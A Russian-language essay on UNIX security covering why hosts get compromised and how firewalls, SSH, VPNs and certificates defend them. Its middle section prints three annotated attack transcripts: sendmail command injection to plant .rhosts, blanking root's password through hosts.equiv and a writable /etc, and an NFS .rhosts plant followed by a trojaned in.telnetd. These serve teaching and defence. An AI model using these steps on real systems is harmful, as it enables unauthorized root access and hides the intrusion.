В условиях современного
развития компьютерных и сетевых технологий,
операционные системы семейства UNIX на фоне других
ОС выглядят более эффективными. Поэтому
большинство Сетей (в том числе и банковских)
работают под управлением именно этих
операционных систем. И как следствие большой
интерес к ним хакеров.
Хотя число инсталляций UNIX на предприятиях
растет, подобные опасения насчет уровня ее
безопасности способны задержать
распространение этой ОС как среды для исполнения
наиболее ответственных приложений. Брешь в
защите корпоративной сети может обернуться для
компании потерей миллионов долларов и, что еще
более важно, подрывом доверия со стороны
клиентов и партнеров. Помимо свободного доступа
хакеров к исходному тексту UNIX многих беспокоит и
необходимость искать квалифицированных
специалистов по обеспечению ее защиты. В то же
время специалисты по информационной
безопасности утверждают, что несмотря на
некоторые инциденты, UNIX не более уязвима, чем
любая другая коммерческая ОС. Более того,
открытость UNIX не снижает уровень защищенности
ОС, а, напротив, способствует его повышению,
благодаря придирчивому изучению исходных
текстов широким кругом вполне
"благонадежных" специалистов и
оперативному выявлению ими недостатков во всех
аспектах, включая безопасность. Обнаруженные
дефекты можно оперативно устранить с помощью
быстро появляющихся бесплатных "заплаток".
Проведенное в 1999 г. сравнение сроков устранения
ошибок, обнаруженных в системах фирм Microsoft, Sun и Red
Hat, показало, что дистрибьютор бесплатной
операционной системы затратил на это почти на 5%
меньше времени, чем Microsoft В дополнение ко всему,
многие крупные независимые разработчики ПО уже
начали переносить на платформу UNIX свои
коммерческие средства обеспечения безопасности.
По мнению экспертов, это позволит принять
стандартные меры противодействия угрозам
безопасности, предусматривающие обучение
персонала, использование "правильных"
инструментов защиты, а также регулярное
отслеживание рекомендаций экспертов и
обновление версий ПО.
Каждая компьютерная система нуждается в защите
от не имеющих права на доступ пользователей,
получающих доступ к компьютеру, дискам и
системным файлам. Возможности безопасности,
присутствующие в системе, представляют
расширение к основным возможностям безопасности
операционных систем UNIX. Операционная система
разрабатывается, чтобы удовлетворить
требованиям класса доверия С2, как определено
Критериями оценки компьютерной системы доверия
отдела защиты. Так как нет компьютерных систем,
которые полностью свободны от риска, то системы
относят по "доверию", а не по
"безопасности". Именно это подразумевается
С2 классом "доверия". "Доверенная"
система это система, которая достигает
специфического уровня контроля за доступом к
информации, обеспечивая механизм предотвращения
(или наконец, определения) неавторизованного
доступа.
Возможности безопасности операционной системы
являются расширением возможностей,
присутствующих у типичных, менее
"доверенных" систем UNIX. Полная
совместимость с существующими механизмами UNIX
поддерживается с расширением защиты
пользователей и системной безопасности. Большая
часть системной администрации включает
поддержку и защиту системной информации.
После установки и разблокировки контроля
система принимает в конфигурацию чтобы
функционировать в " доверенном " состоянии.
В этом состоянии только определенный
администратор может иметь доступ к системной
информации. Когда система переходит в
нормальному функционированию, доверенное
состояние системы должно поддерживаться если
необходимо иметь полные преимущества доверенных
возможностей. Если следовать этому руководству,
то системная информация останется защищенной.
Причины уязвимости
UNIX
Здесь описываются вполне
понятные причины, по которым, тем не менее,
происходит до 90% всех случаев вскрытия UNIXхостов.
1. Наличие демонов.
2. Механизм SUID/SGIDпроцессов.
Эти механизмы, являющиеся неотъемлемой частью
идеологии UNIX, были и будут лакомым кусочком для
хакеров, т. к. в этом случае пользователь всегда
взаимодействует с процессом, имеющим большие
привилегии, чем у него самого, и поэтому любая
ошибка или недоработка в нем автоматически ведет
к возможности использования этих привилегий.
3. Излишнее доверие. Об этом уже достаточно
говорилось выше. Повторим, что в UNIX достаточно
много служб, использующих доверие, и они могут
тем или иным способом быть обмануты.
К этим трем причинам нельзя не добавить
следующую:
4. Человеческий фактор с весьма разнообразными
способами его проявления от легко
вскрываемых паролей у обычных пользователей до
ошибок у квалифицированных системных
администраторов, многие из которых как раз и
открывают путь для использования механизмов
доверия.
Нельзя приуменьшать роль человека при
обеспечении безопасности любой системы.
Возможно, он даже является слабейшим звеном. Про
необходимость выбора надежных паролей уже
говорилось. Неправильное администрирование -
такая же актуальная проблема. Но за все надо
платить, и это обратная сторона переносимости и
гибкости UNIX. Более того, если говорить о слабости
человека, защищенные системы обычно
отказываются и еще от одной из основных идей UNIX
наличия суперпользователя, имеющего доступ
ко всей информации и никому не подконтрольного.
Его права могут быть распределены среди
нескольких людей: администратора персонала,
администратора безопасности, администратора
сети и т. п., а сам он может быть удален из системы
после ее инсталляции. В результате вербовка
одного из администраторов не приводит к таким
катастрофическим последствиям, как вербовка
суперпользователя.
Некоторые
распространенные хакерские приемы
Начать обзор следует с
возможности взлома через электронную почту. Для
пересылки электронной почты по IP на подавляющем
большинстве систем используется программа sendmail,
разработанная в университете Беркли. Задуманная
как чисто служебная утилита, эта программа
приобрела огромную популярность и вошла в состав
дистрибутива многих Unix -систем. Однако она
содержала в себе очень серьезную ошибку,
благодаря которой любой желающий имел
возможность выполнить на удаленной машине
команды с привилегиями суперпользователя.
Обычно взломщики пытались отправить себе файл
passwd для подбора паролей либо помещали свою
информацию в файлы, использующиеся программами
rlogin, rsh для запуска shell без запроса пароля:
ПРИМЕР 1
crack% telnet target.remote.com 25
Connecting to 123.456.654.321.
! соединяемся по порту 25 это SMTP
220 sendmail SMI/4.3.5.2 ready
! версия, которая как известно, содержит ошибку.
helo xxx
220 Helo xxx, ( crack.edu )
mail from: |echo crack.edu/.rhosts@target.remote.com
! подставляем команду вместо обратного адреса.
200 Sender ok.
rcpt to: nosuchuser
! вводим заранее неправильного адресата
500 nosuchuser: user unknown
! несмотря на сообщение, продолжаем диалог.
data
230 Enter mail, end with .
200 Mail accepted
! все, машина взломана....
quit
crack% su
! А теперь залезаем так, чтобы нас не было видно
через who
# rsh target.remote.com /bin/csh i
Welcome to remote.com!
Warning! No access to terminal, job control disabled!
target#
Эта ошибка присутствует в
нескольких десятках различных вариантов ОС Unix
самых разных фирм. Кроме того, существуют и более
простые способы при благоприятных условиях:
удаленная машина Sun, система SunOS 4, NIS не запущен,
система поставлена, и ничего не исправлялось.
ПРИМЕР 2
crack# su bin
$ rsh target.remote.com /bin/csh i
! В файле /etc/hosts.equiv есть запись + и ошибка...
Welcome to remote.com!
! Каталог /etc с владельцем bin...
Warning! No access to terminal, job control disabled!
% ls -ldg /etc
drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/
% cd /etc
! Делаем passwd доступным на запись нам...
% mv passwd passwd.was
% cp passwd.was passwd
! Редактируем
% ed passwd
2341
1p
root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh
s/Nkkh5gkljGyj//p
root::0:0:Root:/:/bin/csh
w
2341
q
! И в суперпользователя.
%echo /bin/csh -i | su root
Warning! No access to terminal, job control disabled!
target# mv /etc/passwd.was /etc/passwd
! Чтобы никто не обнаружил, что мы делали.
Кроме электронной почты в TCP/IP
сетях очень широко применяются различные виды
распределенных файловых систем, самой
популярной из которых является Network File System (NFS).
В случае неаккуратного заполнения файла /etc/exports
или использования дистрибутива с ошибкой (SunOS 4.1)
может возникнуть следующая ситуация.
ПРИМЕР 3
crack% showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/disk3 neptun pluton alpha
! Домашние каталоги доступны по NFS
crack% su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
! Монтируем каталог к нам
# ls -ldg *
drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/
# echo crack.edu user/.rhosts
! Устанавливаем .rhosts у пользователя
# cath /etc/passwd
user::257:20::/:
^D
! Создаем такого же у нас
# su user
! Становимся им
$ rsh target.remote.com /bin/csh i
Warning! No access to terminal, job control disabled!
! И заходим на удаленную машину
% id
uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
% ls -ldg /usr/etc
! Каталог доступен на запись
drwxrw-xr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
% grep telnet /etc/inetd.conf
telnet stream nowait root /usr/etc/in.telnetd in.telnetd
! Нашли программу, которая запустится
!под root"ом из нашего каталога
% cd /usr/etc
% mv in.telnetd in.telnetd1
! создаем троянского коня
% catЋ in.telnetd
#!/bin/sh
exec /bin/csh i
^D
% chmod 755 in.telnetd
! и запускаем его
% telnet 127.1
Connecting 127.1.
Warning! No access to terminal, job control disabled!
# chown user /etc;
! Делаем /etc своим
^M: command not found
# exit;
^M: command not found
Connection closed by foreign host.
% cd /etc
! и далее как раньше как в примере 1.
.......
Обеспечение безопасности
Ниже описаны некоторые
известные уязвимые места ОС семейства UNIX и
способы защиты.
Провокация отказа в
обслуживании. Атакуемая система выводится за
рамки штатных режимов работы отправкой
некорректных IP пакетов или организацией слишком
интенсивного потока пакетов. Всегда используйте
последнюю версию брандмауэра и следите за
рекомендациями специалистов.
Посредник. Хакер пытается
внедриться в механизм осуществления транзакций,
чтобы завладеть идентификационными данными ее
участников для последующего перехвата
электронной почты, номеров кредитных карточек
или иной конфиденциальной
информации. Механизм SSH (Secure Shell) позволяет
выполнять на сервере аутентификацию доступа с
помощью алгоритма RSA, благодаря чему подобные
атаки практически не имеют шанса на успех.
Фальсификация IPадресов.
Использование посторонними внутреннего или
внешнего IPадреса для обхода систем
защиты. Большинство брандмауэров способны
обнаруживать и предотвращать фальсификацию
IPадресов. Установите брандмауэр и маршрутизатор
с функцией фильтрации пакетов, а где возможно,
внедрите более строгие механизмы
аутентификации.
Прослушивание сети. Хакер
может воспользоваться анализатором сетевых
протоколов или иным подобным средством для
перехвата сетевого трафика и извлечения из него
конфиденциальных данных. Виртуальная частная
сеть (VPN) способна служить зашифрованным каналом
передачи данных. Организовать на платформе Linux
виртуальную частную сеть с шифрованием по
стандарту IPSec позволяет бесплатное ПО Free S/WAN.
Использование
идентификационных данных зарегистрированного
пользователя. Хакер, заполучивший какимлибо
образом IP-адрес и пароль, открывающие доступ в
систему, может выдать себя за
зарегистрированного пользователя.
Распространите цифровые сертификаты на уровне
приложений. Один из возможных вариантов -
применение защищенного Web-сервера Apache-SSL,
основанного на спецификации SSLeay/OpenSSL. Он
поддерживает цифровые сертификаты,
эмитирован-ные самыми разными источниками.
Заключение
В свете вышеизложенного
возникает вопрос: какие меры защиты сетей
наиболее эффективны? В первую очередь, на ум
приходит применение брандмауэров. Главное, это
выбрать брандмауэр, соответствующий тому, в
какой степени ваша сеть зависит от Internet. На
сегодняшний день широкое распро-странение
получили два типа брандмауэров: использующих
фильтрацию пакетов и работающих на уровне
приложений. Начали также появляться продукты, в
которых в различной степени применяются обе
технологии. Итак, существуют две технологии
защиты сетей. Первая представляет собой
исследование входящих и выходящих пакетов на
предмет того, откуда - куда они направляются и
какой тип соединения устанавливают. Недостатки
этого подхода: очевидно, что он практически
бессилен перед подделкой IP-адреса пассивным и,
тем более, активным сниффингом, привязка же к
конкретным хостам (IP-адресам) ограничивает
возможности удаленных пользователей. Применение
брандмауэров такого типа сети, в которых Internet
используется только "изнутри", где
отсутствует связь с внешними сетями, и,
безусловно, все пользователи в достаточной мере
облечены доверием. Брандмауэр будет наглухо
закрывать доступ извне: его можно также
применять для предотвращения злоупотребления
Internet сотрудниками компании. Брандмауэры,
работающие на уровне приложений, предполагают
наличие шлюза для каждого приложения, а также
аутентификацию (с использованием) при любом
соединении. Такой подход позволяет отказаться от
проверки IP-адресов, но взамен требует наличие
шлюза для каждого приложения, что представляется
довольно серьезным ограничением. Насколько
эффективна эта технология? Она, очевидно,
устойчива перед пассивным сниффингом и
подделкой адреса, но в любом случае надежность
подобной защиты от активного сниффинга не может
быть стопроцентной. Брандмауэры, по сути дела,
предохраняют сеть только от случайной утечки
информации и проникновения в нее, так сказать,
первого встречного, что, впрочем, раз в десять
снижает риск потери конфиденциальности хранимой
и передаваемой информации и нарушения
работоспособности информационной системы.
Единственное же, что может гарантировать
безопасность от "подслушивания" -
шифрование всех внутренних (не говоря уже о
внешних) потоков данных в сети и организация
дополнительных уровней аутентификации. Все это
не исключает возможности перехвата пакетов
сниффером, но, в то же время, не дает взломщику
воспользоваться перехваченной информацией.
Определение необходимой степени защиты
информации осуществляется при помощи несложных
математических оценок: вероятность взлома
умножается на размер возможного ущерба и на
основе полученной величины определяются
средства, которые требуется выделить на
обеспечение соответствующих мер безопасности.